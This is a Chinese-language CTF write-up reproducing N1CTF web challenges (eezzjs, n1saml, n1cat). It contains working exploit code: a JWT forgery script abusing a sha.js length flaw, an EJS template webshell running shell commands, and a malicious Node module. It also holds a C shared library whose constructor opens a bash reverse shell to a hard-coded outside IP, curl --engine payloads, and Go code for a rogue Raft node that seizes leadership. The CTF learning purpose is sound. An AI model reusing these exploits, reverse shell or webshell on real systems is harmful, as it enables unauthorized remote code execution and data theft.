N1CTF web 复现
文章摘要
Summarizing...
爆零了
eezzjs

以后拿到 node.js 题目白盒优先跑一遍 audit,这里很容易拿到漏洞相关信息。
这里先审一下源码,看到管理员 username 为 admin 密码为随机生成,鉴权方式为 jwt token,jwt secret 也为 randombytes 生成的随机密钥,在对密码取哈希值的时候使用到了有漏洞的 sha.js 库。
注意到在计算目标签名时,使用了以下代码
let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
header 和 payload 都是 JSON.parse 的返回值,类型应该为对象,而计算 hex 时传入的 payload 没有序列化,也就是永远为 [object Object] 。
我们再回去看上面 audit 到的 CVE,这个漏洞就是说因为 sha.js 对于输入未检验,导致在传入精心构造的对象类型数据时会触发未定义的行为。
// e.g. 回退
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
我们就利用这一点可以构造出绕过 verifyJWT 的 token。
const sha = require('sha.js');
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(9).toString('hex');
const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};
const toBase64Url = (input) => {
const buffer = Buffer.isBuffer(input) ? input : Buffer.from(input);
return buffer
.toString('base64')
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
};
const header = JSON.stringify({
"alg": "HS256",
"typ": "JWT"
})
const payload = {length: -JWT_SECRET.length-header.length}
const pwnToken = sha256(...[
header,
payload,
JWT_SECRET
])
console.log(`${toBase64Url(header)}.${toBase64Url(JSON.stringify(payload))}.${pwnToken}`)

可以看到,随机的 JWT_SECRET 已经无法影响 token 的值,我们利用成功了

成功进入上传界面。
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
再审,得知我们可以通过查询参数 templ 控制渲染的 ejs 模板,这里就很清晰了。看看上传逻辑:
function uploadFile(req, res) {
var {filedata,filename}=req.body;
var ext = path.extname(filename).toLowerCase();
if (/js/i.test(ext)) {
return res.status(403).send('Denied filename');
}
var filepath = path.join(uploadDir,filename);
if (fs.existsSync(filepath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filepath, filedata, 'base64', (err) => {
if (err) {
console.log(err);
res.status(500).send('Error saving file');
} else {
res.status(200).send({ message: 'File uploaded successfully', path: `/uploads/${path}` });
}
});
}
有一个 waf,这里两种绕法
绕1
一种需要读 express 源码,溯源流程:
- ~~改名为 ts 获得强大的 IDE 类型支持。~~其实挺复杂,还要改成 ES6 import 语法,然后 pnpm i @types/express,然后改成这样调用让回调拿到类型,然后就可以愉快 alt + click 了(也不是很愉快)

-
render 在本例中用法为传模板名加一些参数(options)
定位到 Response::res.render() in node_modules\express\lib\response.js:1026 → app.render() in node_modules\express\lib\application.js:548

→ 这里跳进处理 view 的类 node_modules\express\lib\view.js:52

到这里差不多可以收尾了,我们传入的 view 如果没有后缀名就会使用默认引擎(也就是 ejs),如果有后缀的话,就会尝试加载 require 这个 mod 的 __express 导出。


// pwned
function __express() {
const fs = require('fs');
const data = fs.readFileSync('flag');
fs.writeFileSync('src/uploads/output.txt', data);
}
module.exports = { __express };
//pwned.pwned
test

绕2

最后使用了 path.join 处理路径,阅读源码得知它是把所有参数拼接在一起,然后处理成规范的路径
https://github.com/nodejs/node/blob/main/lib/path.js#L1332
join(...args) {
if (args.length === 0)
return '.';
const path = [];
for (let i = 0; i < args.length; ++i) {
const arg = args[i];
validateString(arg, 'path');
if (arg.length > 0) {
path.push(arg);
}
}
if (path.length === 0)
return '.';
return posix.normalize(ArrayPrototypeJoin(path, '/'));
},

所以直接打 ejs 马可行,这里需要警觉的一点不一致就是它检查 waf 关键词的时候查的是 path.extname 但是最终却保存在 path.join,注意到这一点,我们才会去了解 path.join 的行为去利用这个差异。
所以最终打如下 ejs 马

<%= global.process.mainModule.require('child_process').execSync('cat flag>src/uploads/a.txt') %>
绕3

没有试
n1saml
A cloud-native, containerized, strongly consistent SAML web application, but maybe something is wrong?
Due to differences between local and remote environments, you need to be aware of the following:
1. In a local environment (started using `docker-compose`), the healthcheck, sp, proxy, and kvstore containers have different IP addresses in the Docker network. Therefore, within the `run.sh` scripts of these containers, the container names will be used as domain names for requests (e.g., proxy:2379, sp:9000).
2. In a remote environment (deployed based on Kubernetes), the healthcheck, sp, proxy, and kvstore containers belong to the same pod, therefore they share a single IP address, which is obtained using the `hostname -i` command.
https://www.youtube.com/watch?v=IujMVjKvWP4
curl 加载 ssl so 库实现 rce
https://hackerone.com/reports/3293801
#include <stdlib.h>
// https://hackerone.com/reports/3293801
// This constructor function is executed automatically by the dynamic loader
// as soon as the library is loaded into the process address space.
__attribute__((constructor))
static void rce_init(void) {
system("bash -c 'bash -i >& /dev/tcp/101.201.208.77/2333 0>&1'");
}
// gcc -fPIC -shared -o evil_engine.so evil.c
// mind the building platform must be same as target platform
docker run -v pwd:/build -it --platform=linux/amd64 --rm debian:bookworm-slim bash -c "apt update && apt install -y gcc && cd /build && gcc -fPIC -shared -o [evil.so](http://evil.so/) evil.c"
const health_check = 'http://127.0.0.1:8000/healthcheck'
// const p = {
// "http://101.201.208.77:2333": " ",
// "-sS": "",
// "-m": "3",
// "-o": "/tmp/trash",
// "--output": "evil.so",
// }
// const res1 = await fetch(health_check, {
// method: "POST",
// body: JSON.stringify(p)
// })
// console.log(await res1.text())
const p2 = {
"--engine": "evil.so"
}
const res2 = await fetch(health_check, {
method: "POST",
body: JSON.stringify(p2)
})
console.log(await res2.text())
建立恶意节点,取得 leader 控制权
https://www.yulate.com/post/yZCzSbTp9M/
https://github.com/hashicorp/raft
func (s *Store) Open() error {
config := raft.DefaultConfig()
config.LocalID = raft.ServerID(s.nodeID)
addr, err := net.ResolveTCPAddr("tcp", s.addr)
if err != nil {
return err
}
transport, err := raft.NewTCPTransport(s.addr, addr, 3, 10*time.Second, os.Stderr)
if err != nil {
return err
}
logStore := raft.NewInmemStore()
stableStore := raft.NewInmemStore()
snapshots := raft.NewInmemSnapshotStore()
// 设置一个较高的 term 值,之后通过正常选举成为 leader
if err = stableStore.SetUint64([]byte("CurrentTerm"), 23333); err != nil {
return fmt.Errorf("failed to set CurrentTerm: %s", err)
}
ra, err := raft.NewRaft(config, (*fsm)(s), logStore, stableStore, snapshots, transport)
// 新建一个raft,你需要传入,config,fsm,logStore,stableStore,snapshots,transport
// fsm提供了一个有限状态机的实现 https://pkg.go.dev/github.com/hashicorp/raft#FSM
// LogStore 用于提供一个接口,以可持续的方式存储和检索日志。
// StableStore 用于提供关键配置的稳定存储,以确保安全性。
// SnapshotStore 接口用于实现快照存储和检索的灵活实现。
// 例如,客户端可以实现 S3 等共享状态存储,允许新节点恢复快照,而无需从主节点流式传输。
// tansport 为网络传输提供了一个接口,使 Raft 能够与其他节点通信。
if err != nil {
return err
}
s.raft = ra
configuration := raft.Configuration{
Servers: s.servers,
}
// 正常引导集群配置
ra.BootstrapCluster(configuration)
// 等待本节点通过选举成为 leader(基于更高的 term + 超时触发选举)
leaderCh := ra.LeaderCh()
timer := time.NewTimer(5 * time.Second)
defer timer.Stop()
becameLeader := false
for !becameLeader {
select {
case isLeader := <-leaderCh:
if isLeader {
becameLeader = true
}
case <-timer.C:
return fmt.Errorf("timeout waiting to become leader; current leader=%s term=%d", ra.Leader(), ra.CurrentTerm())
}
}
// 成为 leader 后下发 Flush 指令
c := &Command{Op: "flush"}
b, err := json.Marshal(c)
if err != nil {
return err
}
if f := ra.Apply(b, 10*time.Second); f.Error() != nil {
log.Printf("failed to apply flush command: %s", f.Error())
} else {
log.Printf("flush command applied successfully; leader=%s term=%d", ra.Leader(), ra.CurrentTerm())
}
return nil
}
# 1) 建立输出目录
mkdir -p dist
# 2) 在容器内编译 poc/raft(GOOS/GOARCH 可按需调整)
sudo docker run --rm -v "${PWD}:/src" -w /src golang:1.22-bookworm `bash -lc "CGO_ENABLED=0 GOOS=linux GOARCH=amd64 GOSUMDB=sum.golang.org go build -o dist/raft main.go"`
这里本地复现出现一些问题:容器间不能用localhost相互访问
复现失败了。https://exp10it.io/posts/breaking-raft-consensus-in-go-n1saml-writeup-for-n1ctf-2025/
n1cat
https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog 起手,先把源码读出来。 http://60.205.163.215:21567/download?path=%2FWEB-INF%2Fclasses%2Fctf%2Fn1cat%2FwelcomeServlet.class
评论
0 条